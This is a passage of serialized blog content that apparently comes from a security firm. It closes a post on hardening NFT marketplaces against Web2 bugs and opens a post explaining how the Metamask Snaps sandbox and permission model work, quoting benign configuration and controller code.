allowDomains",{"type":23,"tag":314,"props":34386,"children":34387},{"style":354},[34388],{"type":28,"value":1237},{"type":23,"tag":314,"props":34390,"children":34391},{"style":338},[34392],{"type":28,"value":22270},{"type":23,"tag":314,"props":34394,"children":34395},{"style":1245},[34396],{"type":28,"value":34397},"'https://allowed-domain'",{"type":23,"tag":314,"props":34399,"children":34400},{"style":338},[34401],{"type":28,"value":2005},{"type":23,"tag":314,"props":34403,"children":34404},{"class":316,"line":370},[34405,34409,34413,34417,34422,34426,34431,34435,34439],{"type":23,"tag":314,"props":34406,"children":34407},{"style":2284},[34408],{"type":28,"value":14821},{"type":23,"tag":314,"props":34410,"children":34411},{"style":338},[34412],{"type":28,"value":2324},{"type":23,"tag":314,"props":34414,"children":34415},{"style":354},[34416],{"type":28,"value":19859},{"type":23,"tag":314,"props":34418,"children":34419},{"style":360},[34420],{"type":28,"value":34421},"allowDomains",{"type":23,"tag":314,"props":34423,"children":34424},{"style":338},[34425],{"type":28,"value":282},{"type":23,"tag":314,"props":34427,"children":34428},{"style":332},[34429],{"type":28,"value":34430},"includes",{"type":23,"tag":314,"props":34432,"children":34433},{"style":338},[34434],{"type":28,"value":341},{"type":23,"tag":314,"props":34436,"children":34437},{"style":360},[34438],{"type":28,"value":31965},{"type":23,"tag":314,"props":34440,"children":34441},{"style":338},[34442],{"type":28,"value":34443},")) {\n",{"type":23,"tag":314,"props":34445,"children":34446},{"class":316,"line":380},[34447,34452,34456,34461,34465,34470],{"type":23,"tag":314,"props":34448,"children":34449},{"style":2284},[34450],{"type":28,"value":34451}," throw",{"type":23,"tag":314,"props":34453,"children":34454},{"style":321},[34455],{"type":28,"value":31180},{"type":23,"tag":314,"props":34457,"children":34458},{"style":332},[34459],{"type":28,"value":34460}," ApolloError",{"type":23,"tag":314,"props":34462,"children":34463},{"style":338},[34464],{"type":28,"value":341},{"type":23,"tag":314,"props":34466,"children":34467},{"style":1245},[34468],{"type":28,"value":34469},"'invalid domain'",{"type":23,"tag":314,"props":34471,"children":34472},{"style":338},[34473],{"type":28,"value":1025},{"type":23,"tag":314,"props":34475,"children":34476},{"class":316,"line":1091},[34477],{"type":23,"tag":314,"props":34478,"children":34479},{"style":338},[34480],{"type":28,"value":386},{"type":23,"tag":24,"props":34482,"children":34483},{},[34484,34486,34493,34495,34502],{"type":28,"value":34485},"As ",{"type":23,"tag":31,"props":34487,"children":34490},{"href":34488,"rel":34489},"https://graphql.org/",[35],[34491],{"type":28,"value":34492},"GraphQl",{"type":28,"value":34494}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":31,"props":34496,"children":34499},{"href":34497,"rel":34498},"https://graphql.org/learn/introspection/",[35],[34500],{"type":28,"value":34501},"introspection",{"type":28,"value":34503}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":304,"props":34505,"children":34507},{"className":30611,"code":34506,"language":30613,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[34508],{"type":23,"tag":94,"props":34509,"children":34510},{"__ignoreMap":7},[34511,34540,34552,34564,34580],{"type":23,"tag":314,"props":34512,"children":34513},{"class":316,"line":317},[34514,34518,34523,34527,34531,34536],{"type":23,"tag":314,"props":34515,"children":34516},{"style":321},[34517],{"type":28,"value":346},{"type":23,"tag":314,"props":34519,"children":34520},{"style":360},[34521],{"type":28,"value":34522}," server",{"type":23,"tag":314,"props":34524,"children":34525},{"style":354},[34526],{"type":28,"value":1237},{"type":23,"tag":314,"props":34528,"children":34529},{"style":321},[34530],{"type":28,"value":31180},{"type":23,"tag":314,"props":34532,"children":34533},{"style":332},[34534],{"type":28,"value":34535}," ApolloServer",{"type":23,"tag":314,"props":34537,"children":34538},{"style":338},[34539],{"type":28,"value":14382},{"type":23,"tag":314,"props":34541,"children":34542},{"class":316,"line":370},[34543,34548],{"type":23,"tag":314,"props":34544,"children":34545},{"style":360},[34546],{"type":28,"value":34547}," typeDefs",{"type":23,"tag":314,"props":34549,"children":34550},{"style":338},[34551],{"type":28,"value":1870},{"type":23,"tag":314,"props":34553,"children":34554},{"class":316,"line":380},[34555,34560],{"type":23,"tag":314,"props":34556,"children":34557},{"style":360},[34558],{"type":28,"value":34559}," resolvers",{"type":23,"tag":314,"props":34561,"children":34562},{"style":338},[34563],{"type":28,"value":1870},{"type":23,"tag":314,"props":34565,"children":34566},{"class":316,"line":1091},[34567,34572,34576],{"type":23,"tag":314,"props":34568,"children":34569},{"style":360},[34570],{"type":28,"value":34571}," introspection:",{"type":23,"tag":314,"props":34573,"children":34574},{"style":321},[34575],{"type":28,"value":8309},{"type":23,"tag":314,"props":34577,"children":34578},{"style":338},[34579],{"type":28,"value":1870},{"type":23,"tag":314,"props":34581,"children":34582},{"class":316,"line":1141},[34583],{"type":23,"tag":314,"props":34584,"children":34585},{"style":338},[34586],{"type":28,"value":34587},"});\n",{"type":23,"tag":24,"props":34589,"children":34590},{},[34591,34593,34600,34602,34609],{"type":28,"value":34592},"Similarly, when ",{"type":23,"tag":31,"props":34594,"children":34597},{"href":34595,"rel":34596},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[35],[34598],{"type":28,"value":34599},"batching",{"type":28,"value":34601}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":31,"props":34603,"children":34606},{"href":34604,"rel":34605},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[35],[34607],{"type":28,"value":34608},"denial-of-service",{"type":28,"value":34610}," (DoS) attacks.",{"type":23,"tag":24,"props":34612,"children":34613},{},[34614],{"type":28,"value":34615},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":24,"props":34617,"children":34618},{},[34619],{"type":28,"value":34620},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":54,"props":34622,"children":34623},{"id":28180},[34624],{"type":28,"value":18185},{"type":23,"tag":24,"props":34626,"children":34627},{},[34628],{"type":28,"value":34629},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":24,"props":34631,"children":34632},{},[34633],{"type":28,"value":34634},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":61,"props":34636,"children":34638},{"id":34637},"disclaimer",[34639],{"type":28,"value":34640},"Disclaimer",{"type":23,"tag":24,"props":34642,"children":34643},{},[34644],{"type":28,"value":34645},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":2096,"props":34647,"children":34648},{},[34649],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":34651},[34652,34655,34661,34665,34666],{"id":28263,"depth":370,"text":28266,"children":34653},[34654],{"id":2171,"depth":380,"text":2174},{"id":30457,"depth":370,"text":30487,"children":34656},[34657,34658,34659,34660],{"id":30506,"depth":380,"text":30509},{"id":30571,"depth":380,"text":30574},{"id":33400,"depth":380,"text":33403},{"id":33690,"depth":380,"text":33693},{"id":34035,"depth":370,"text":34038,"children":34662},[34663,34664],{"id":34057,"depth":380,"text":34060},{"id":34107,"depth":380,"text":34110},{"id":34191,"depth":370,"text":34197},{"id":34637,"depth":370,"text":34640},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":34671,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":34672,"description":34673,"author":34674,"image":34675,"date":34677,"isFeatured":18,"onBlogPage":18,"body":34678,"_type":2117,"_id":39692,"_source":2119,"_file":39693,"_stem":39694,"_extension":2122},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[30451,30450],{"src":34676,"height":12870,"width":12871},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":34679,"toc":39673},[34680,34684,34689,34694,34699,34705,34710,34716,34729,34734,34739,34746,34778,34784,34789,34807,34814,34820,34834,34840,34860,35124,35152,35158,35177,35563,35582,35595,35913,35934,36205,36210,36216,36221,36234,36239,36252,36511,36555,36568,36574,36588,36594,36600,36613,36650,36656,36676,36787,36814,36820,36838,36851,36857,36862,36880,36991,36996,37017,37030,37047,37147,37173,37190,37312,37338,37350,37355,37361,37367,37372,37395,37400,37405,37411,37417,37444,37845,37872,37899,37905,37936,38245,38264,38269,38294,38307,38313,38340,38635,38671,38689,38694,38729,38734,38738,38743,38750,38755,38782,39559,39579,39585,39606,39655,39659,39664,39669],{"type":23,"tag":61,"props":34681,"children":34682},{"id":18194},[34683],{"type":28,"value":18197},{"type":23,"tag":24,"props":34685,"children":34686},{},[34687],{"type":28,"value":34688},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":24,"props":34690,"children":34691},{},[34692],{"type":28,"value":34693},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":24,"props":34695,"children":34696},{},[34697],{"type":28,"value":34698},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":61,"props":34700,"children":34702},{"id":34701},"sandbox-security",[34703],{"type":28,"value":34704},"Sandbox Security",{"type":23,"tag":24,"props":34706,"children":34707},{},[34708],{"type":28,"value":34709},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":837,"props":34711,"children":34713},{"id":34712},"permission-based-security",[34714],{"type":28,"value":34715},"Permission-based security",{"type":23,"tag":24,"props":34717,"children":34718},{},[34719,34721,34727],{"type":28,"value":34720},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":94,"props":34722,"children":34724},{"className":34723},[],[34725],{"type":28,"value":34726},"snap.manifest.json",{"type":28,"value":34728}," file and can be critical to security.",{"type":23,"tag":24,"props":34730,"children":34731},{},[34732],{"type":28,"value":34733},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":24,"props":34735,"children":34736},{},[34737],{"type":28,"value":34738},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":24,"props":34740,"children":34741},{},[34742],{"type":23,"tag":197,"props":34743,"children":34745},{"alt":7,"src":34744},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":127,"props":34747,"children":34748},{},[34749,34767],{"type":23,"tag":88,"props":34750,"children":34751},{},[34752,34758,34759,34765],{"type":23,"tag":94,"props":34753,"children":34755},{"className":34754},[],[34756],{"type":28,"value":34757},"snap_getBip44Entropy",{"type":28,"value":557},{"type":23,"tag":94,"props":34760,"children":34762},{"className":34761},[],[34763],{"type":28,"value":34764},"snap_getBip32Entropy",{"type":28,"value":34766}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":88,"props":34768,"children":34769},{},[34770,34776],{"type":23,"tag":94,"props":34771,"children":34773},{"className":34772},[],[34774],{"type":28,"value":34775},"endowment:transaction-insight",{"type":28,"value":34777}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":837,"props":34779,"children":34781},{"id":34780},"snap-execution-environment",[34782],{"type":28,"value":34783},"Snap execution environment",{"type":23,"tag":24,"props":34785,"children":34786},{},[34787],{"type":28,"value":34788},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":84,"props":34790,"children":34791},{},[34792,34797,34802],{"type":23,"tag":88,"props":34793,"children":34794},{},[34795],{"type":28,"value":34796},"An isolated iframe",{"type":23,"tag":88,"props":34798,"children":34799},{},[34800],{"type":28,"value":34801},"LavaMoat",{"type":23,"tag":88,"props":34803,"children":34804},{},[34805],{"type":28,"value":34806},"SES (Secure EcmaScript)",{"type":23,"tag":24,"props":34808,"children":34809},{},[34810],{"type":23,"tag":197,"props":34811,"children":34813},{"alt":7,"src":34812},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":837,"props":34815,"children":34817},{"id":34816},"isolated-iframe-layer-1",[34818],{"type":28,"value":34819},"Isolated Iframe - Layer 1",{"type":23,"tag":24,"props":34821,"children":34822},{},[34823,34825,34832],{"type":28,"value":34824},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":31,"props":34826,"children":34829},{"href":34827,"rel":34828},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[35],[34830],{"type":28,"value":34831},"Iframe",{"type":28,"value":34833}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":18130,"props":34835,"children":34837},{"id":34836},"the-framework-metamask-extension-repo",[34838],{"type":28,"value":34839},"The Framework: Metamask-Extension Repo",{"type":23,"tag":24,"props":34841,"children":34842},{},[34843,34845,34851,34853,34859],{"type":28,"value":34844},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":94,"props":34846,"children":34848},{"className":34847},[],[34849],{"type":28,"value":34850},"metamask-controller.js",{"type":28,"value":34852}," file. Here's a glimpse of the relevant ",{"type":23,"tag":31,"props":34854,"children":34857},{"href":34855,"rel":34856},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[35],[34858],{"type":28,"value":94},{"type":28,"value":3746},{"type":23,"tag":304,"props":34861,"children":34865},{"className":34862,"code":34863,"language":34864,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[34866],{"type":23,"tag":94,"props":34867,"children":34868},{"__ignoreMap":7},[34869,34877,34885,34905,34953,34988,35005,35013,35055,35062,35069,35077,35105,35117],{"type":23,"tag":314,"props":34870,"children":34871},{"class":316,"line":317},[34872],{"type":23,"tag":314,"props":34873,"children":34874},{"style":374},[34875],{"type":28,"value":34876},"// Import snaps-controllers\n",{"type":23,"tag":314,"props":34878,"children":34879},{"class":316,"line":370},[34880],{"type":23,"tag":314,"props":34881,"children":34882},{"style":374},[34883],{"type":28,"value":34884},"// ...\n",{"type":23,"tag":314,"props":34886,"children":34887},{"class":316,"line":380},[34888,34892,34897,34901],{"type":23,"tag":314,"props":34889,"children":34890},{"style":321},[34891],{"type":28,"value":346},{"type":23,"tag":314,"props":34893,"children":34894},{"style":360},[34895],{"type":28,"value":34896}," snapExecutionServiceArgs",{"type":23,"tag":314,"props":34898,"children":34899},{"style":354},[34900],{"type":28,"value":1237},{"type":23,"tag":314,"props":34902,"children":34903},{"style":338},[34904],{"type":28,"value":1449},{"type":23,"tag":314,"props":34906,"children":34907},{"class":316,"line":1091},[34908,34913,34917,34922,34926,34931,34935,34940,34944,34949],{"type":23,"tag":314,"props":34909,"children":34910},{"style":360},[34911],{"type":28,"value":34912}," iframeUrl:",{"type":23,"tag":314,"props":34914,"children":34915},{"style":321},[34916],{"type":28,"value":31180},{"type":23,"tag":314,"props":34918,"children":34919},{"style":332},[34920],{"type":28,"value":34921}," URL",{"type":23,"tag":314,"props":34923,"children":34924},{"style":338},[34925],{"type":28,"value":341},{"type":23,"tag":314,"props":34927,"children":34928},{"style":360},[34929],{"type":28,"value":34930},"process",{"type":23,"tag":314,"props":34932,"children":34933},{"style":338},[34934],{"type":28,"value":282},{"type":23,"tag":314,"props":34936,"children":34937},{"style":360},[34938],{"type":28,"value":34939},"env",{"type":23,"tag":314,"props":34941,"children":34942},{"style":338},[34943],{"type":28,"value":282},{"type":23,"tag":314,"props":34945,"children":34946},{"style":360},[34947],{"type":28,"value":34948},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":314,"props":34950,"children":34951},{"style":338},[34952],{"type":28,"value":5992},{"type":23,"tag":314,"props":34954,"children":34955},{"class":316,"line":1141},[34956,34961,34966,34970,34975,34979,34984],{"type":23,"tag":314,"props":34957,"children":34958},{"style":360},[34959],{"type":28,"value":34960}," messenger:",{"type":23,"tag":314,"props":34962,"children":34963},{"style":321},[34964],{"type":28,"value":34965}," this",{"type":23,"tag":314,"props":34967,"children":34968},{"style":338},[34969],{"type":28,"value":282},{"type":23,"tag":314,"props":34971,"children":34972},{"style":360},[34973],{"type":28,"value":34974},"controllerMessenger",{"type":23,"tag":314,"props":34976,"children":34977},{"style":338},[34978],{"type":28,"value":282},{"type":23,"tag":314,"props":34980,"children":34981},{"style":332},[34982],{"type":28,"value":34983},"getRestricted",{"type":23,"tag":314,"props":34985,"children":34986},{"style":338},[34987],{"type":28,"value":14382},{"type":23,"tag":314,"props":34989,"children":34990},{"class":316,"line":1173},[34991,34996,35001],{"type":23,"tag":314,"props":34992,"children":34993},{"style":360},[34994],{"type":28,"value":34995}," name:",{"type":23,"tag":314,"props":34997,"children":34998},{"style":1245},[34999],{"type":28,"value":35000}," 'ExecutionService'",{"type":23,"tag":314,"props":35002,"children":35003},{"style":338},[35004],{"type":28,"value":1870},{"type":23,"tag":314,"props":35006,"children":35007},{"class":316,"line":1208},[35008],{"type":23,"tag":314,"props":35009,"children":35010},{"style":338},[35011],{"type":28,"value":35012}," }),\n",{"type":23,"tag":314,"props":35014,"children":35015},{"class":316,"line":1216},[35016,35021,35025,35029,35034,35038,35043,35047,35051],{"type":23,"tag":314,"props":35017,"children":35018},{"style":360},[35019],{"type":28,"value":35020}," setupSnapProvider:",{"type":23,"tag":314,"props":35022,"children":35023},{"style":321},[35024],{"type":28,"value":34965},{"type":23,"tag":314,"props":35026,"children":35027},{"style":338},[35028],{"type":28,"value":282},{"type":23,"tag":314,"props":35030,"children":35031},{"style":360},[35032],{"type":28,"value":35033},"setupSnapProvider",{"type":23,"tag":314,"props":35035,"children":35036},{"style":338},[35037],{"type":28,"value":282},{"type":23,"tag":314,"props":35039,"children":35040},{"style":332},[35041],{"type":28,"value":35042},"bind",{"type":23,"tag":314,"props":35044,"children":35045},{"style":338},[35046],{"type":28,"value":341},{"type":23,"tag":314,"props":35048,"children":35049},{"style":321},[35050],{"type":28,"value":16932},{"type":23,"tag":314,"props":35052,"children":35053},{"style":338},[35054],{"type":28,"value":5992},{"type":23,"tag":314,"props":35056,"children":35057},{"class":316,"line":1301},[35058],{"type":23,"tag":314,"props":35059,"children":35060},{"style":338},[35061],{"type":28,"value":1545},{"type":23,"tag":314,"props":35063,"children":35064},{"class":316,"line":1343},[35065],{"type":23,"tag":314,"props":35066,"children":35067},{"emptyLinePlaceholder":18},[35068],{"type":28,"value":1088},{"type":23,"tag":314,"props":35070,"children":35071},{"class":316,"line":1351},[35072],{"type":23,"tag":314,"props":35073,"children":35074},{"style":374},[35075],{"type":28,"value":35076},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":314,"props":35078,"children":35079},{"class":316,"line":1387},[35080,35084,35088,35092,35096,35100],{"type":23,"tag":314,"props":35081,"children":35082},{"style":360},[35083],{"type":28,"value":34930},{"type":23,"tag":314,"props":35085,"children":35086},{"style":338},[35087],{"type":28,"value":282},{"type":23,"tag":314,"props":35089,"children":35090},{"style":360},[35091],{"type":28,"value":34939},{"type":23,"tag":314,"props":35093,"children":35094},{"style":338},[35095],{"type":28,"value":282},{"type":23,"tag":314,"props":35097,"children":35098},{"style":360},[35099],{"type":28,"value":34948},{"type":23,"tag":314,"props":35101,"children":35102},{"style":354},[35103],{"type":28,"value":35104}," =\n",{"type":23,"tag":314,"props":35106,"children":35107},{"class":316,"line":1422},[35108,35113],{"type":23,"tag":314,"props":35109,"children":35110},{"style":1245},[35111],{"type":28,"value":35112}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":314,"props":35114,"children":35115},{"style":338},[35116],{"type":28,"value":2278},{"type":23,"tag":314,"props":35118,"children":35119},{"class":316,"line":1430},[35120],{"type":23,"tag":314,"props":35121,"children":35122},{"style":374},[35123],{"type":28,"value":34884},{"type":23,"tag":24,"props":35125,"children":35126},{},[35127,35129,35135,35137,35143,35145,35150],{"type":28,"value":35128},"This code is defining the ",{"type":23,"tag":94,"props":35130,"children":35132},{"className":35131},[],[35133],{"type":28,"value":35134},"snapExecutionServiceArgs",{"type":28,"value":35136}," object, which contains information required for the ",{"type":23,"tag":94,"props":35138,"children":35140},{"className":35139},[],[35141],{"type":28,"value":35142},"IframeExecutionService",{"type":28,"value":35144}," to execute snaps. The ",{"type":23,"tag":94,"props":35146,"children":35148},{"className":35147},[],[35149],{"type":28,"value":34948},{"type":28,"value":35151}," points to the location where the execution environment resides.",{"type":23,"tag":18130,"props":35153,"children":35155},{"id":35154},"executing-snaps-iframeexecutionservice-in-action",[35156],{"type":28,"value":35157},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":24,"props":35159,"children":35160},{},[35161,35163,35168,35170,35176],{"type":28,"value":35162},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":94,"props":35164,"children":35166},{"className":35165},[],[35167],{"type":28,"value":35142},{"type":28,"value":35169}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":31,"props":35171,"children":35174},{"href":35172,"rel":35173},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[35],[35175],{"type":28,"value":94},{"type":28,"value":3746},{"type":23,"tag":304,"props":35178,"children":35182},{"className":35179,"code":35180,"language":35181,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[35183],{"type":23,"tag":94,"props":35184,"children":35185},{"__ignoreMap":7},[35186,35194,35223,35253,35306,35343,35350,35357,35365,35372,35379,35387,35422,35430,35486,35548,35556],{"type":23,"tag":314,"props":35187,"children":35188},{"class":316,"line":317},[35189],{"type":23,"tag":314,"props":35190,"children":35191},{"style":374},[35192],{"type":28,"value":35193},"// Register message handlers for snap interactions\n",{"type":23,"tag":314,"props":35195,"children":35196},{"class":316,"line":370},[35197,35201,35205,35210,35214,35219],{"type":23,"tag":314,"props":35198,"children":35199},{"style":321},[35200],{"type":28,"value":16932},{"type":23,"tag":314,"props":35202,"children":35203},{"style":338},[35204],{"type":28,"value":282},{"type":23,"tag":314,"props":35206,"children":35207},{"style":360},[35208],{"type":28,"value":35209},"#messenger",{"type":23,"tag":314,"props":35211,"children":35212},{"style":338},[35213],{"type":28,"value":282},{"type":23,"tag":314,"props":35215,"children":35216},{"style":332},[35217],{"type":28,"value":35218},"registerActionHandler",{"type":23,"tag":314,"props":35220,"children":35221},{"style":338},[35222],{"type":28,"value":2719},{"type":23,"tag":314,"props":35224,"children":35225},{"class":316,"line":380},[35226,35231,35235,35240,35244,35249],{"type":23,"tag":314,"props":35227,"children":35228},{"style":1245},[35229],{"type":28,"value":35230}," `",{"type":23,"tag":314,"props":35232,"children":35233},{"style":321},[35234],{"type":28,"value":33357},{"type":23,"tag":314,"props":35236,"children":35237},{"style":360},[35238],{"type":28,"value":35239},"controllerName",{"type":23,"tag":314,"props":35241,"children":35242},{"style":321},[35243],{"type":28,"value":33389},{"type":23,"tag":314,"props":35245,"children":35246},{"style":1245},[35247],{"type":28,"value":35248},":handleRpcRequest`",{"type":23,"tag":314,"props":35250,"children":35251},{"style":338},[35252],{"type":28,"value":1870},{"type":23,"tag":314,"props":35254,"children":35255},{"class":316,"line":1091},[35256,35261,35265,35270,35274,35279,35283,35288,35292,35297,35301],{"type":23,"tag":314,"props":35257,"children":35258},{"style":321},[35259],{"type":28,"value":35260}," async",{"type":23,"tag":314,"props":35262,"children":35263},{"style":338},[35264],{"type":28,"value":2324},{"type":23,"tag":314,"props":35266,"children":35267},{"style":360},[35268],{"type":28,"value":35269},"snapId",{"type":23,"tag":314,"props":35271,"children":35272},{"style":354},[35273],{"type":28,"value":3746},{"type":23,"tag":314,"props":35275,"children":35276},{"style":2674},[35277],{"type":28,"value":35278}," string",{"type":23,"tag":314,"props":35280,"children":35281},{"style":338},[35282],{"type":28,"value":778},{"type":23,"tag":314,"props":35284,"children":35285},{"style":360},[35286],{"type":28,"value":35287},"options",{"type":23,"tag":314,"props":35289,"children":35290},{"style":354},[35291],{"type":28,"value":3746},{"type":23,"tag":314,"props":35293,"children":35294},{"style":2674},[35295],{"type":28,"value":35296}," SnapRpcHookArgs",{"type":23,"tag":314,"props":35298,"children":35299},{"style":338},[35300],{"type":28,"value":2343},{"type":23,"tag":314,"props":35302,"children":35303},{"style":321},[35304],{"type":28,"value":35305},"=>\n",{"type":23,"tag":314,"props":35307,"children":35308},{"class":316,"line":1141},[35309,35314,35318,35323,35327,35331,35335,35339],{"type":23,"tag":314,"props":35310,"children":35311},{"style":321},[35312],{"type":28,"value":35313}," this",{"type":23,"tag":314,"props":35315,"children":35316},{"style":338},[35317],{"type":28,"value":282},{"type":23,"tag":314,"props":35319,"children":35320},{"style":332},[35321],{"type":28,"value":35322},"handleRpcRequest",{"type":23,"tag":314,"props":35324,"children":35325},{"style":338},[35326],{"type":28,"value":341},{"type":23,"tag":314,"props":35328,"children":35329},{"style":360},[35330],{"type":28,"value":35269},{"type":23,"tag":314,"props":35332,"children":35333},{"style":338},[35334],{"type":28,"value":778},{"type":23,"tag":314,"props":35336,"children":35337},{"style":360},[35338],{"type":28,"value":35287},{"type":23,"tag":314,"props":35340,"children":35341},{"style":338},[35342],{"type":28,"value":5992},{"type":23,"tag":314,"props":35344,"children":35345},{"class":316,"line":1173},[35346],{"type":23,"tag":314,"props":35347,"children":35348},{"style":338},[35349],{"type":28,"value":1025},{"type":23,"tag":314,"props":35351,"children":35352},{"class":316,"line":1208},[35353],{"type":23,"tag":314,"props":35354,"children":35355},{"emptyLinePlaceholder":18},[35356],{"type":28,"value":1088},{"type":23,"tag":314,"props":35358,"children":35359},{"class":316,"line":1216},[35360],{"type":23,"tag":314,"props":35361,"children":35362},{"style":374},[35363],{"type":28,"value":35364},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":314,"props":35366,"children":35367},{"class":316,"line":1301},[35368],{"type":23,"tag":314,"props":35369,"children":35370},{"style":374},[35371],{"type":28,"value":34884},{"type":23,"tag":314,"props":35373,"children":35374},{"class":316,"line":1343},[35375],{"type":23,"tag":314,"props":35376,"children":35377},{"emptyLinePlaceholder":18},[35378],{"type":28,"value":1088},{"type":23,"tag":314,"props":35380,"children":35381},{"class":316,"line":1351},[35382],{"type":23,"tag":314,"props":35383,"children":35384},{"style":374},[35385],{"type":28,"value":35386},"// Execute a snap\n",{"type":23,"tag":314,"props":35388,"children":35389},{"class":316,"line":1387},[35390,35395,35400,35404,35409,35413,35418],{"type":23,"tag":314,"props":35391,"children":35392},{"style":360},[35393],{"type":28,"value":35394},"async",{"type":23,"tag":314,"props":35396,"children":35397},{"style":332},[35398],{"type":28,"value":35399}," executeSnap",{"type":23,"tag":314,"props":35401,"children":35402},{"style":338},[35403],{"type":28,"value":341},{"type":23,"tag":314,"props":35405,"children":35406},{"style":360},[35407],{"type":28,"value":35408},"snapData",{"type":23,"tag":314,"props":35410,"children":35411},{"style":338},[35412],{"type":28,"value":14573},{"type":23,"tag":314,"props":35414,"children":35415},{"style":360},[35416],{"type":28,"value":35417},"SnapExecutionData",{"type":23,"tag":314,"props":35419,"children":35420},{"style":338},[35421],{"type":28,"value":367},{"type":23,"tag":314,"props":35423,"children":35424},{"class":316,"line":1422},[35425],{"type":23,"tag":314,"props":35426,"children":35427},{"style":374},[35428],{"type":28,"value":35429}," // Initialize job, streams, and environment\n",{"type":23,"tag":314,"props":35431,"children":35432},{"class":316,"line":1430},[35433,35438,35442,35447,35452,35456,35461,35465,35469,35474,35478,35482],{"type":23,"tag":314,"props":35434,"children":35435},{"style":321},[35436],{"type":28,"value":35437}," 